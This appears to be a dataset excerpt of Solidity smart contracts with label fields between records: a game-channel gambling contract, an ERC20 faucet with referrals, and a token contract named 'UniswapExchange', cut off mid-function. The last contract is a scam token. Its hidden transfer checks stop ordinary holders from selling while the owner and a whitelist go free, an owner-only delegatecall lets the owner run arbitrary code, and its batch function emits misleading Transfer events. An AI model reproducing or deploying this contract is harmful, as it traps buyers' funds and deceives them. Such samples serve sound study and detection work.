address public houseAddress;
uint public houseStake = 0;
int public houseProfit = 0;
uint public minStake;
uint public maxStake;
uint public profitTransferTimeSpan = 14 days;
uint public lastProfitTransferTimestamp;
bytes32 public typeHash;
mapping (uint => Game) public gameIdGame;
mapping (address => uint) public playerGameId;
mapping (address => uint) public pendingReturns;
modifier onlyValidHouseStake(uint _activeGames) {
uint minHouseStake = conflictRes.minHouseStake(_activeGames);
require(houseStake >= minHouseStake);
_;
}
modifier onlyValidValue() {
require(minStake <= msg.value && msg.value <= maxStake);
_;
}
modifier onlyServer() {
require(msg.sender == serverAddress);
_;
}
modifier onlyValidTransferTimeSpan(uint transferTimeout) {
require(transferTimeout >= MIN_TRANSFER_TIMESPAN
&& transferTimeout <= MAX_TRANSFER_TIMSPAN);
_;
}
event LogGameCreated(address indexed player, uint indexed gameId, uint stake, bytes32 endHash);
event LogGameRejected(address indexed player, uint indexed gameId);
event LogGameAccepted(address indexed player, uint indexed gameId, bytes32 endHash);
event LogPlayerRequestedEnd(address indexed player, uint indexed gameId);
event LogServerRequestedEnd(address indexed player, uint indexed gameId);
event LogGameEnded(address indexed player, uint indexed gameId, ReasonEnded reason);
event LogStakeLimitsModified(uint minStake, uint maxStake);
function GameChannelBase(
address _serverAddress,
uint _minStake,
uint _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _gameIdCntr
)
public
ConflictResolutionManager(_conflictResAddress)
{
require(_minStake > 0 && _minStake <= _maxStake);
require(_gameIdCntr > 0);
gameIdCntr = _gameIdCntr;
serverAddress = _serverAddress;
houseAddress = _houseAddress;
lastProfitTransferTimestamp = block.timestamp;
minStake = _minStake;
maxStake = _maxStake;
typeHash = keccak256(
"uint32 Round Id",
"uint8 Game Type",
"uint16 Number",
"uint Value (Wei)",
"int Current Balance (Wei)",
"bytes32 Server Hash",
"bytes32 Player Hash",
"uint Game Id",
"address Contract Address"
);
}
function withdraw() public {
uint toTransfer = pendingReturns[msg.sender];
require(toTransfer > 0);
pendingReturns[msg.sender] = 0;
msg.sender.transfer(toTransfer);
}
function transferProfitToHouse() public {
require(lastProfitTransferTimestamp + profitTransferTimeSpan <= block.timestamp);
if (houseProfit <= 0) {
lastProfitTransferTimestamp = block.timestamp;
return;
}
uint toTransfer = uint(houseProfit);
assert(houseStake >= toTransfer);
houseProfit = 0;
lastProfitTransferTimestamp = block.timestamp;
houseStake = houseStake - toTransfer;
houseAddress.transfer(toTransfer);
}
function setProfitTransferTimeSpan(uint _profitTransferTimeSpan)
public
onlyOwner
onlyValidTransferTimeSpan(_profitTransferTimeSpan)
{
profitTransferTimeSpan = _profitTransferTimeSpan;
}
function addHouseStake() public payable onlyOwner {
houseStake += msg.value;
}
function withdrawHouseStake(uint value) public onlyOwner {
uint minHouseStake = conflictRes.minHouseStake(activeGames);
require(value <= houseStake && houseStake - value >= minHouseStake);
require(houseProfit <= 0 || uint(houseProfit) <= houseStake - value);
houseStake = houseStake - value;
owner.transfer(value);
}
function withdrawAll() public onlyOwner onlyPausedSince(3 days) {
houseProfit = 0;
uint toTransfer = houseStake;
houseStake = 0;
owner.transfer(toTransfer);
}
function setHouseAddress(address _houseAddress) public onlyOwner {
houseAddress = _houseAddress;
}
function setStakeRequirements(uint _minStake, uint _maxStake) public onlyOwner {
require(_minStake > 0 && _minStake <= _maxStake);
minStake = _minStake;
maxStake = _maxStake;
LogStakeLimitsModified(minStake, maxStake);
}
function closeGame(
Game storage _game,
uint _gameId,
address _playerAddress,
ReasonEnded _reason,
int _balance
)
internal
{
_game.status = GameStatus.ENDED;
_game.reasonEnded = _reason;
_game.balance = _balance;
assert(activeGames > 0);
activeGames = activeGames - 1;
LogGameEnded(_playerAddress, _gameId, _reason);
}
function payOut(Game storage _game, address _playerAddress) internal {
assert(_game.balance <= conflictRes.maxBalance());
assert(_game.status == GameStatus.ENDED);
assert(_game.stake <= maxStake);
assert((int(_game.stake) + _game.balance) >= 0);
uint valuePlayer = uint(int(_game.stake) + _game.balance);
if (_game.balance > 0 && int(houseStake) < _game.balance) {
valuePlayer = houseStake;
}
houseProfit = houseProfit - _game.balance;
int newHouseStake = int(houseStake) - _game.balance;
assert(newHouseStake >= 0);
houseStake = uint(newHouseStake);
pendingReturns[_playerAddress] += valuePlayer;
if (pendingReturns[_playerAddress] > 0) {
safeSend(_playerAddress);
}
}
function safeSend(address _address) internal {
uint valueToSend = pendingReturns[_address];
assert(valueToSend > 0);
pendingReturns[_address] = 0;
if (_address.send(valueToSend) == false) {
pendingReturns[_address] = valueToSend;
}
}
function verifySig(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _sig,
address _address
)
internal
view
{
address contractAddress = this;
require(_contractAddress == contractAddress);
bytes32 roundHash = calcHash(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress
);
verify(
roundHash,
_sig,
_address
);
}
function calcHash(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress
)
private
view
returns(bytes32)
{
bytes32 dataHash = keccak256(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress
);
return keccak256(typeHash, dataHash);
}
function verify(
bytes32 _hash,
bytes _sig,
address _address
)
private
pure
{
var (r, s, v) = signatureSplit(_sig);
address addressRecover = ecrecover(_hash, v, r, s);
require(addressRecover == _address);
}
function signatureSplit(bytes _signature)
private
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(_signature.length == 65);
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := and(mload(add(_signature, 65)), 0xff)
}
if (v < 2) {
v = v + 27;
}
}
}
contract GameChannelConflict is GameChannelBase {
function GameChannelConflict(
address _serverAddress,
uint _minStake,
uint _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _gameIdCtr
)
public
GameChannelBase(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _gameIdCtr)
{
}
function serverEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _playerSig,
address _playerAddress,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_playerSig,
_playerAddress
);
serverEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_serverSeed,
_playerSeed,
_gameId,
_playerAddress
);
}
function playerEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _serverSig,
bytes32 _playerSeed
)
public
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
playerEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_playerHash,
_playerSeed,
_gameId,
msg.sender
);
}
function playerCancelActiveGame(uint _gameId) public {
address playerAddress = msg.sender;
uint gameId = playerGameId[playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.PLAYER_INITIATED_END;
LogPlayerRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == 0) {
closeGame(game, gameId, playerAddress, ReasonEnded.REGULAR_ENDED, 0);
payOut(game, playerAddress);
} else {
revert();
}
}
function serverCancelActiveGame(address _playerAddress, uint _gameId) public onlyServer {
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.SERVER_INITIATED_END;
LogServerRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.PLAYER_INITIATED_END && game.roundId == 0) {
closeGame(game, gameId, _playerAddress, ReasonEnded.REGULAR_ENDED, 0);
payOut(game, _playerAddress);
} else {
revert();
}
}
function serverForceGameEnd(address _playerAddress, uint _gameId) public onlyServer {
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
require(game.status == GameStatus.SERVER_INITIATED_END);
int newBalance = conflictRes.serverForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, _playerAddress, ReasonEnded.END_FORCED_BY_SERVER, newBalance);
payOut(game, _playerAddress);
}
function playerForceGameEnd(uint _gameId) public {
address playerAddress = msg.sender;
uint gameId = playerGameId[playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
require(game.status == GameStatus.PLAYER_INITIATED_END);
int newBalance = conflictRes.playerForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, playerAddress, ReasonEnded.END_FORCED_BY_PLAYER, newBalance);
payOut(game, playerAddress);
}
function playerEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _playerHash,
bytes32 _playerSeed,
uint _gameId,
address _playerAddress
)
private
{
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
require(gameId == _gameId);
require(_roundId > 0);
require(keccak256(_playerSeed) == _playerHash);
require(_value <= game.stake);
require(-int(game.stake) <= _balance && _balance <= maxBalance);
require(int(game.stake) + _balance - int(_value) >= 0);
require(conflictRes.isValidBet(_gameType, _num, _value));
if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == _roundId) {
game.playerSeed = _playerSeed;
endGameConflict(game, gameId, _playerAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.SERVER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.PLAYER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.playerSeed = _playerSeed;
game.serverSeed = bytes32(0);
LogPlayerRequestedEnd(msg.sender, gameId);
} else {
revert();
}
}
function serverEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
bytes32 _serverSeed,
bytes32 _playerSeed,
uint _gameId,
address _playerAddress
)
private
{
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
require(gameId == _gameId);
require(_roundId > 0);
require(keccak256(_serverSeed) == _serverHash);
require(keccak256(_playerSeed) == _playerHash);
require(_value <= game.stake);
require(-int(game.stake) <= _balance && _balance <= maxBalance);
require(int(game.stake) + _balance - int(_value) >= 0);
require(conflictRes.isValidBet(_gameType, _num, _value));
if (game.status == GameStatus.PLAYER_INITIATED_END && game.roundId == _roundId) {
game.serverSeed = _serverSeed;
endGameConflict(game, gameId, _playerAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.PLAYER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.SERVER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.serverSeed = _serverSeed;
game.playerSeed = _playerSeed;
LogServerRequestedEnd(_playerAddress, gameId);
} else {
revert();
}
}
function endGameConflict(Game storage _game, uint _gameId, address _playerAddress) private {
int newBalance = conflictRes.endGameConflict(
_game.gameType,
_game.betNum,
_game.betValue,
_game.balance,
_game.stake,
_game.serverSeed,
_game.playerSeed
);
closeGame(_game, _gameId, _playerAddress, ReasonEnded.REGULAR_ENDED, newBalance);
payOut(_game, _playerAddress);
}
}
contract GameChannel is GameChannelConflict {
function GameChannel(
address _serverAddress,
uint _minStake,
uint _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _gameIdCntr
)
public
GameChannelConflict(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _gameIdCntr)
{
}
function createGame(bytes32 _endHash)
public
payable
onlyValidValue
onlyValidHouseStake(activeGames + 1)
onlyNotPaused
{
address playerAddress = msg.sender;
uint previousGameId = playerGameId[playerAddress];
Game storage game = gameIdGame[previousGameId];
require(game.status == GameStatus.ENDED);
uint gameId = gameIdCntr++;
playerGameId[playerAddress] = gameId;
Game storage newGame = gameIdGame[gameId];
newGame.stake = msg.value;
newGame.status = GameStatus.WAITING_FOR_SERVER;
activeGames = activeGames + 1;
LogGameCreated(playerAddress, gameId, msg.value, _endHash);
}
function cancelGame(uint _gameId) public {
address playerAddress = msg.sender;
uint gameId = playerGameId[playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
require(game.status == GameStatus.WAITING_FOR_SERVER);
closeGame(game, gameId, playerAddress, ReasonEnded.CANCELLED_BY_PLAYER, 0);
payOut(game, playerAddress);
}
function rejectGame(address _playerAddress, uint _gameId) public onlyServer {
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
require(_gameId == gameId);
require(game.status == GameStatus.WAITING_FOR_SERVER);
closeGame(game, gameId, _playerAddress, ReasonEnded.REJECTED_BY_SERVER, 0);
payOut(game, _playerAddress);
LogGameRejected(_playerAddress, gameId);
}
function acceptGame(address _playerAddress, uint _gameId, bytes32 _endHash)
public
onlyServer
{
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
require(_gameId == gameId);
require(game.status == GameStatus.WAITING_FOR_SERVER);
game.status = GameStatus.ACTIVE;
LogGameAccepted(_playerAddress, gameId, _endHash);
}
function serverEndGame(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
address _playerAddress,
bytes _playerSig
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_playerSig,
_playerAddress
);
regularEndGame(_playerAddress, _roundId, _gameType, _num, _value, _balance, _gameId, _contractAddress);
}
function playerEndGame(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _serverSig
)
public
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
regularEndGame(msg.sender, _roundId, _gameType, _num, _value, _balance, _gameId, _contractAddress);
}
function regularEndGame(
address _playerAddress,
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
uint _gameId,
address _contractAddress
)
private
{
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
address contractAddress = this;
int maxBalance = conflictRes.maxBalance();
require(_gameId == gameId);
require(_roundId > 0);
require(-int(game.stake) <= _balance && _balance <= maxBalance);
require((_gameType == 0) && (_num == 0) && (_value == 0));
require(_contractAddress == contractAddress);
require(game.status == GameStatus.ACTIVE);
closeGame(game, gameId, _playerAddress, ReasonEnded.REGULAR_ENDED, _balance);
payOut(game, _playerAddress);
}
} | 0 | 840 |
pragma solidity ^0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address tokenAddress,
uint256 tokenAmount
)
public
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
contract TokenFaucet is TokenRecover {
using SafeMath for uint256;
struct RecipientDetail {
bool exists;
uint256 tokens;
uint256 lastUpdate;
address referral;
}
struct ReferralDetail {
uint256 tokens;
address[] recipients;
}
uint256 private _pauseTime = 1 days;
ERC20 private _token;
uint256 private _dailyRate;
uint256 private _referralPerMille;
uint256 private _totalDistributedTokens;
mapping (address => RecipientDetail) private _recipientList;
address[] private _recipients;
mapping (address => ReferralDetail) private _referralList;
constructor(
address token,
uint256 dailyRate,
uint256 referralPerMille
)
public
{
require(token != address(0));
require(dailyRate > 0);
require(referralPerMille > 0);
_token = ERC20(token);
_dailyRate = dailyRate;
_referralPerMille = referralPerMille;
}
function () external payable {
require(msg.value == 0);
getTokens();
}
function getTokens() public {
_distributeTokens(msg.sender, address(0));
}
function getTokensWithReferral(address referral) public {
require(referral != msg.sender);
_distributeTokens(msg.sender, referral);
}
function token() public view returns (ERC20) {
return _token;
}
function dailyRate() public view returns (uint256) {
return _dailyRate;
}
function referralTokens() public view returns (uint256) {
return _dailyRate.mul(_referralPerMille).div(1000);
}
function totalDistributedTokens() public view returns (uint256) {
return _totalDistributedTokens;
}
function receivedTokens(address account) public view returns (uint256) {
return _recipientList[account].tokens;
}
function lastUpdate(address account) public view returns (uint256) {
return _recipientList[account].lastUpdate;
}
function nextClaimTime(address account) public view returns (uint256) {
return !_recipientList[account].exists ? 0 : _recipientList[account].lastUpdate + _pauseTime;
}
function getReferral(address account) public view returns (address) {
return _recipientList[account].referral;
}
function earnedByReferral(address account) public view returns (uint256) {
return _referralList[account].tokens;
}
function getReferredAddresses(address account) public view returns (address[]) {
return _referralList[account].recipients;
}
function getReferredAddressesLength(address account) public view returns (uint) {
return _referralList[account].recipients.length;
}
function remainingTokens() public view returns (uint256) {
return _token.balanceOf(this);
}
function getRecipientAddress(uint256 index) public view returns (address) {
return _recipients[index];
}
function getRecipientsLength() public view returns (uint) {
return _recipients.length;
}
function setRates(uint256 newDailyRate, uint256 newReferralPerMille) public onlyOwner {
require(newDailyRate > 0);
require(newReferralPerMille > 0);
_dailyRate = newDailyRate;
_referralPerMille = newReferralPerMille;
}
function _distributeTokens(address account, address referral) internal {
require(nextClaimTime(account) <= block.timestamp);
if (!_recipientList[account].exists) {
_recipients.push(account);
_recipientList[account].exists = true;
if (referral != address(0)) {
_recipientList[account].referral = referral;
_referralList[referral].recipients.push(account);
}
}
_recipientList[account].lastUpdate = block.timestamp;
_recipientList[account].tokens = _recipientList[account].tokens.add(_dailyRate);
_totalDistributedTokens = _totalDistributedTokens.add(_dailyRate);
_token.transfer(account, _dailyRate);
if (_recipientList[account].referral != address(0)) {
address firstReferral = _recipientList[account].referral;
uint256 referralEarnedTokens = referralTokens();
_referralList[firstReferral].tokens = _referralList[firstReferral].tokens.add(referralEarnedTokens);
_totalDistributedTokens = _totalDistributedTokens.add(referralEarnedTokens);
_token.transfer(firstReferral, referralEarnedTokens);
}
}
} | 0 | 581 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
